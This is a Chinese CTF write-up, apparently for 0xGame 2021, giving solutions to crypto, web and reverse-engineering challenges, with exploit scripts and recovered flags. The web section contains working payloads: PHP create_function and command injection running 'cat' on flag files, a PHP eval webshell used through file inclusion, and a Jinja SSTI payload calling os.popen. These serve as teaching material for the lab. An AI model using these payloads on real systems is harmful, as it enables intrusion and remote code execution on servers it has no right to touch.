self.seed = getRandomNBitInteger(32)

def next(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed >> 16

def output(self):
print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
print("state1 = {}".format(self.next()))
print("state2 = {}".format(self.next()))


lcg = LCG()
lcg.output()
c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10))
for i in range(len(flag))])
print(bytes_to_long(c))
# a = 2223895827
# b = 2180283007
# m = 3462137369
# state1 = 14216
# state2 = 2162
# 405876446443434716158061994680916497969770152218293569911902716429842633796269271924

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from Crypto.Util.number import *

flag='0xGame{123abc'
assert flag[:7] == "0xGame{"
class LCG:
def __init__(self):
self.a = getRandomNBitInteger(32)
self.b = getRandomNBitInteger(32)
self.m = getPrime(32)
self.seed = getRandomNBitInteger(32)

def next(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed >> 16

def output(self):
print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
print("state1 = {}".format(self.next()))
print("state2 = {}".format(self.next()))
def next_c(seed):
seed = (a * seed + b) % m
return seed
lcg = LCG()
lcg.output()
c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10))
for i in range(len(flag))])
# print(bytes_to_long(c))
# a = 2223895827
# b = 2180283007
# m = 3462137369
# state1 = 14216
# #state1=(a*s+b)%m
# #state1=(a*s+b)%m
# state2 = 2162
c1=405876446443434716158061994680916497969770152218293569911902716429842633796269271924

a = 2223895827
b = 2180283007
m = 3462137369
state1 = 14216
state2 = 2162
s=[]
for i in range(2**17):
if (((((state1<<16)+i)*a)+b)%m)>>16==state2:
seed=(state1<<16)+i
s.append(seed)#匹配到2个值,其中一个后续是错误的s[1]
print(seed)
y2=next_c(s[0])#s[1]
c2=long_to_bytes(c1).decode()
print(c2)
c3=''
for i in range(len(c2)):
seed=next_c(y2)
c3+=long_to_bytes(ord(c2[i:i+1])^((seed>>16)%10)).decode()
y2=seed
print(c3)
#0xGame{Enumerate__att4ck_is_us3ful}

EzECC

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#Alice do this
p=14050339
a=1
b=3243167
E = EllipticCurve(GF(p),[a,b])
G=E(7112688,7410262)
k=random.randrange(1,G.order())
K=k*G
print(K)
#(6562993 : 2753874 : 1)
######################################
######################################
#Bob do this
import random
flag="0xGame{xxxxxxxx}"
table='abcdefghijklmnopqrstuvwxyz'
m=flag[7:-1]
m1=m[:4]
m2=m[4:]
m_1=''
m_2=''
for i in m1:
s=str(table.index(i)+1)
if len(s)<2:
s='0'+s
m_1+=s
for i in m2:
s=str(table.index(i)+1)
if len(s)<2:
s='0'+s
m_2+=s
x=int(m_1)
y=int(m_2)
P=E(x,y)
r=random.randrange(1,G.order())
C1=P+r*K
C2=r*G
print(C1)
#(3095063 : 1465594 : 1)
print(C2)
#(6437074 : 4385056 : 1)
######################################
######################################
#Eva wants to know the flag.
#Can you help Eva?

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from sage.all import *

# 给定参数
p = 14050339
a = 1
b = 3243167
E = EllipticCurve(GF(p), [a, b])

# Alice的公开参数
G = E(7112688, 7410262)
K = E(6562993, 2753874)

# Bob的密文
C1 = E(3095063, 1465594)
C2 = E(6437074, 4385056)

# 计算椭圆曲线阶
n = G.order()
print(f"椭圆曲线阶: {n}")

# 求解离散对数 (k = discrete_log(K, G, n))
k = G.discrete_log(K)
print(f"Alice的私钥 k = {k}")

# 解密得到P
P = C1 - k * C2
print(f"Flag对应的点 P = {P}")

# 坐标转字符串 (确保8位长度)
x_str = str(P[0]).zfill(8)
y_str = str(P[1]).zfill(8)
print(f"x坐标: {x_str}, y坐标: {y_str}")

# 字母映射表
table = 'abcdefghijklmnopqrstuvwxyz'

# 从x坐标恢复前4个字母
m1 = ''
for i in range(0, 8, 2):
num = int(x_str[i:i+2])
m1 += table[num-1]

# 从y坐标恢复后4个字母
m2 = ''
for i in range(0, 8, 2):
num = int(y_str[i:i+2])
m2 += table[num-1]

# 组合完整flag
flag = "0xGame{" + m1 + m2 + "}"
print(f"解密结果: {flag}")

运行得到

最后flag为

1
0xGame{learnecc}

web

bug1

开启环境

payload:

1
Poria=0f5df5d3d247358c85d385d30d2158ad1992fec16786e26016d71dd03be342d5&Pupi1=return+0%3b}system('cat+f*')%3b///&N1k0la[]=1&action=create_function

得到

最后flag为

1
0xGame{wow_u_really_find_my_secret}

bug2

payload:

1
N1k0la=;phpinfo();//

最后flag为

1
0xGame{u_seem_to_have_found_the_way}

command

f12删除disabled属性,显示ping可点击。随便输入一个数字之后,点击ping,抓包。增加host后面的内容, || ls / ,查看根目录。 || cat /flag ,查看flag文件

最后flag为

1
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}

upload

上传一个txt文件<?@eval($_POST['a']);?>,然后用文件包含包含这个txt文件里面的内容就可以被当作代码执行了,

访问read.php?filename=./uplo4d/4717b086fb956e9f44326d55ebdae88d.txt,蚁剑连shell即可。

getshell之后输入 env可以看到flag在环境变量里面。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import requests
payload={
"X1cT34m":"1",
"Pupi1":"1"
}
head={
"User-Agent": "N1k0la浏览器".encode('utf-8'),
"x-forwarded-for": "127.0.0.1"
}
url='http://49.232.142.230:15572/?0xGame2021=welcome to the 0xGame2021'
r=requests.post(url=url,headers=head,data=payload)
print(r.text)
a='JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ=='
a=base64.b64decode(a)
print(a)

运行得到

最后flag为

1
0xGame{http_pr0t0c0l_1s_int3r3sting:-)}

robot

访问/robots.txt

访问/4ll.html,查看网页源码得到flag

最后flag为

1
0xGame{Rob0t_le4ks_seCr3t}

disearch扫描到/admin后台

访问/admin

bp爆破密码

最后flag为

1
0xGame{y0u_brut3_f0rc3_successfully}

ssti

payload:

1
{{config['_'+'_cla'+'ss_'+'_']['_'+'_in'+'it_'+'_']['_'+'_glo'+'bals_'+'_']['os'].popen('cat flag').read()}}

最后flag为

1
0xGame{fl4sk_sst1_ju5t_5o_s0,r1ght?}

reverse

Signin User Friendly

IDA 打开软件 直接按 f5 或者 shift + f12 查看字符串,即可看到flag

最后flag为

1
0xGame{we1c0me_2_Rever5e_egin44ring}

Zero Three

z3解方程

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from z3 import *
num=[Int("num[%d]"%i) for i in range(8)]
s=Solver()
s.add(-22827 * num[4] + 21984 * num[1] + -38534 * num[5] - 32344 * num[0] == -98460819657603)
s.add(-38215 * num[2] + -37324 * num[4] + -8436 * num[5] + 15405 * num[0] == -131665436206262)
s.add(10926 * num[7] + -28942 * num[1] + -34572 * num[3] - 10538 * num[5] == -121891239772992)
s.add(-30117 * num[6] + -22990 * num[2] + -20471 * num[5] + 34494 * num[7] == -57089882568260)
s.add(-33112 * num[5] + -19335 * num[4] + 34348 * num[1] + 31445 * num[2] == 56335531538050)
s.add(-13566 * num[5] + 14758 * num[0] + -19814 * num[2] - 26447 * num[4] == -81105980248303)
s.add(25898 * num[5] + -15817 * num[1] + 20463 * num[7] - 33578 * num[0] == -28860618440412)
s.add(-35429 * num[7] + 36594 * num[2] + -28801 * num[6] - 14952 * num[3] == -45384029412201)
flag=""
if s.check()==sat:
m=s.model()
for i in range(8):
res=eval(str(m.eval(num[i])))
res=hex(res)[2:]
for j in range(len(res)-2,-2,-2):
flag+=chr(int(res[j:j+2],16))
print("0xGame{"+flag+"}")

运行得到

最后flag为

1
0xGame{udydYCBxUB6vqsAt5VCs6LKDRqXLUhSW}

Packet

脱壳

main函数中,验证输入长度是否为40,对输入进行变换,最后与enc数据比较

exp:

1
2
3
4
5
6
7
8
arr = [161, 15, 188, 111, 218, 169, 159, 94, 41, 246, 197, 228, 110, 242,
177, 56, 27, 1, 17, 256, 256, 50, 233, 65, 104, 2, 4, 6, 42, 112, 55, 107,
48, 93, 130, 232, 37, 87, 242, 130]
enc = [145, 119, 251, 14, 183, 204, 228, 56, 17, 148, 253,133, 92, 145, 132,
92, 125, 103, 39, 308, 309, 10, 216, 35, 13, 48, 101, 62, 19, 69, 84, 82, 81,
62, 176, 217, 19, 51, 195, 255]
for i in range(0,40):
print(chr(arr[i] ^ enc[i]), end = "")

运行得到

最后flag为

1
0xGame{f8b8a2c5dff64581be2a895c9ac216d1}

Neverland

斐波那契数列优化求解,与enc异或即可得到flag

exp:

1
2
3
4
5
6
7
enc=[0xcc,0x84,0x43,0xdd,0x59,0x61,0x87,0x35,0x99,0x32,0x36,0xc9,0x98,0x30,0x9f,0xcc,0xc8,0x62,0x99,0x30,0xc8,0x9a,0xc5,0x9e,0x32,0xc4,0xc8,0x60,0x3d,0x35,0x3d,0xcb,0x34,0x3c,0x9f,0x65,0x65,0x33,0x66,0x79]
v3_=[0xfc,0xfc,0x04,0xbc,0x34,0x04,0xfc,0x04,0xfc,0x04,0x04,0xfc,0xfc,0x04,0xfc,0xfc,0xfc,0x04,0xfc,0x04,0xfc,0xfc,0xfc,0xfc,0x04,0xfc,0xfc,0x04,0x04,0x04,0x04,0xfc,0x04,0x04,0xfc,0x04,0x04,0x04,0x04,0x04]
#idx=[0x9,0xf,0xc,0x3,0x2,0x10,0xb,0xe,0x7,0xa,0x2e,0x2d,0x2b,0x2e,0x2f,0x2d,0x2f,0x28,0x31,0x3a,0x31,0x33,0x33,0x2b,0x32,0x37,0x37,0x38,0x3c,0x30,0xffffffce,0xffffff93,0xffffffd8,0xfffffff2,0xffffffdf,0xffffff70,0xffffff72,0xffffffd0,0xffffffa6,0xffffff9a]
flag=[]
for i in range(len(v3_)):
flag.append(enc[i]^v3_[i])
print("".join(chr(i) for i in flag))

运行得到

最后flag为

1
0xGame{1e625d4c04fe44f9b684d919708caa7b}

Our Compilation Story

exp:

1
2
3
4
5
6
res=[21,44,45,104,31,30,26,121,65,125,23,112,77,46,47,126,89,112,7,109,7,88,10,105,104,59,54,91,83,98,32,54,15,65,113,119,113]
res=res[::-1]
flag=[]
for i in range(0,len(res)-3):
flag.append(res[i]^res[i+3])
print("".join(chr(i) for i in flag))

运行得到

最后flag为

1
0xGame{Th3_10ng_w4y_w3_901ng_fr33}

Random Chaos

C语言 rand 函数生成的随机数是伪随机数,本质是一个线性同余发生器,在随机种子给定的情况下每
次生成的随机数序列相同,所以直接异或就可以

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>

unsigned char enc[41] = {
0x22, 0xca, 0x07, 0x19, 0xf8, 0xfb, 0x28, 0x9d,
0x1e, 0x80, 0xac, 0xc9, 0x60, 0x46, 0x18, 0x21,
0xdf, 0x95, 0xd5, 0x70, 0xc5, 0x19, 0xea, 0xb0,
0x9c, 0x83, 0x11, 0x4a, 0x93, 0xc7, 0x91, 0xf6,
0x14, 0x71, 0x2f, 0x22, 0x14, 0xbf, 0x58, 0x76
};

int main() {
srand(0x2021); // 固定种子

for (int i = 0; i < 40; ++i) {
// 异或解密并输出字符
printf("%c", (enc[i] ^ (rand() & 0xff)));
}

return 0;
}

运行得到

最后flag为

1
0xGame{d6ca93397ecb4d4e83792a7100737932}

Roundabout

脱壳后,简单的利用 key 来循环异或

exp:

1
2
3
4
5
6
s="this_is_not_flag"
res=[0x44,0x10,0x2e,0x12,0x32,0xc,0x8,0x3d,0x56,0xa,0x10,0x67,0x0,0x41,0x0,0x1,0x46,0x5a,0x44,0x42,0x6e,0xc,0x44,0x72,0xc,0xd,0x40,0x3e,0x4b,0x5f,0x2,0x1,0x4c,0x5e,0x5b,0x17,0x6e,0xc,0x16,0x68,0x5b,0x12]
flag=""
for i in range(len(res)):
flag+=chr(ord(s[i%16])^res[i])
print(flag)

运行得到

最后flag为

1
0xGame{b8ed8f-af22-11e7-bb4a-3cf862d1ee75}

Secret Base

base换表变异

exp:

1
2
3
4
5
import base64
cipher = "FbdbHqAUNzoiIDdUIDhSEnF54DHthDT5Hm05HVlREnoAhaF0Hn2dFBQVFC0="
table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
mytable = "123DfgabcQeEFh4pklmnojqGHIJKLMNOPdRSTUVWXYZrstuvwxyz0ABCi56789+/"
print(base64.b64decode(cipher.translate(str.maketrans(mytable, table))))

运行得到

最后flag为

1
0xGame{58d8ed3c-3986-499a-9bdb-554c4a0a3bf3}

Despacito

DES加密

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import hashlib

cipher_hex = 0x16806B89C3CEF86C4F62207B9B20D95820769C2A978A15D7EEEDE0B15E3318595E11BC840D5DA7971CB27C7EBA0BE155D1F0FB878227E959B5CD740DB9E56BE69F88B0B2BF27F83DE8B3C46EAD999A5B76E37D98418DEFE5D1A416DF4BB88D92
cipher_str = long_to_bytes(cipher_hex)
key_str = "0xgame21"
key_bytes = key_str.encode('utf-8')

des = DES.new(key_bytes, DES.MODE_ECB)
m = des.decrypt(cipher_str)

try:
m_plain = unpad(m, 8)
except ValueError:
m_plain = m

h = hashlib.md5()
h.update(m_plain)
flag = "0xGame{" + h.hexdigest() + "}"
print(flag)

运行得到

最后flag为

1
0xGame{83b9879f334340ef42dbb9f40468fc84}

Installer

.pyc文件,用uncompyle6反编译一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flag import *
length = len(flag)
arr = []
enc = [238, 257, 150, 137, 167, 169, 184, 193, 210, 147, 219, 128, 140, 135, 185, 242, 204, 128, 132, 159, 222, 173, 226, 159, 207, 169, 154, 156, 216, 139, 168, 187, 220, 237, 207, 187, 218, 138, 218, 178, 246, 239, 246, 241]
for i in range(length):
arr.append(ord(flag[i]))

for i in range(0, 16):
for j in range(0, length):
arr[j] += enc[j]
enc[j] += enc[j]

enc = enc[::-1]

print(arr)

exp:

1
2
3
4
5
6
7
8
res=[15728448, 16362025, 13718731, 13740602, 11425044, 13216326, 10048823, 13740603, 12757531, 12255100, 15138636, 12408061, 11228430, 10289095, 10114289, 14723575, 11272070, 9524519, 10267251, 12517282, 11796345, 13653174, 12495389, 13172636, 11468724, 9458930, 8956506, 12320680, 15291551, 11119205, 9568155, 10201663, 10398270, 14745427, 10944395, 13260012, 13194479, 11053619, 12145871, 11184688, 11359448, 11774503, 16602251, 15662990]
enc=[238, 257, 150, 137, 167, 169, 184, 193, 210, 147, 219, 128, 140, 135, 185, 242, 204, 128, 132, 159, 222, 173, 226, 159, 207, 169, 154, 156, 216, 139, 168, 187, 220, 237, 207, 187, 218, 138, 218, 178, 246, 239, 246, 241]
for i in range(0,16):
for j in range(0,len(res)):
res[j]-=enc[j]
enc[j]+=enc[j]
enc=enc[::-1]
print("".join(chr(i) for i in res))

运行得到

最后flag为

1
0xGame{b373edd6-2cea-11ec-8d3d-0242ac130003}

茶谈室

一个简单的android 逆向,使用JEB 打开即可直接看见程序逻辑,使用python编写解密代码。
具体实现就是将输入分段加密,最后与程序中加密后的数据对比,相同则通过,不相同则不通过。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}

int main() {
uint32_t blocks[5][2] = {
{1336390846, (uint32_t)-560752372},
{286770520, (uint32_t)-1746160592},
{1494863960, 1998635107},
{(uint32_t)-1598646557, 420086226},
{2098399929, 898703653}
};
uint32_t k[4] = { 1489485296, 1094338644, (uint32_t)-1085167593, 524527081 };

for (int block_idx = 0; block_idx < 5; block_idx++) {
uint32_t v[2] = { blocks[block_idx][0], blocks[block_idx][1] };
decrypt(v, k);
for (int i = 0; i < 2; i++) {
for (int j = 3; j >= 0; j--) {
printf("%c", (v[i] >> (j * 8)) & 0xFF);
}
}
}
printf("\n");
return 0;
}

运行得到

最后flag为

1
0xGame{ca5088de10c64b61ac1ef47a9d5f51da}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录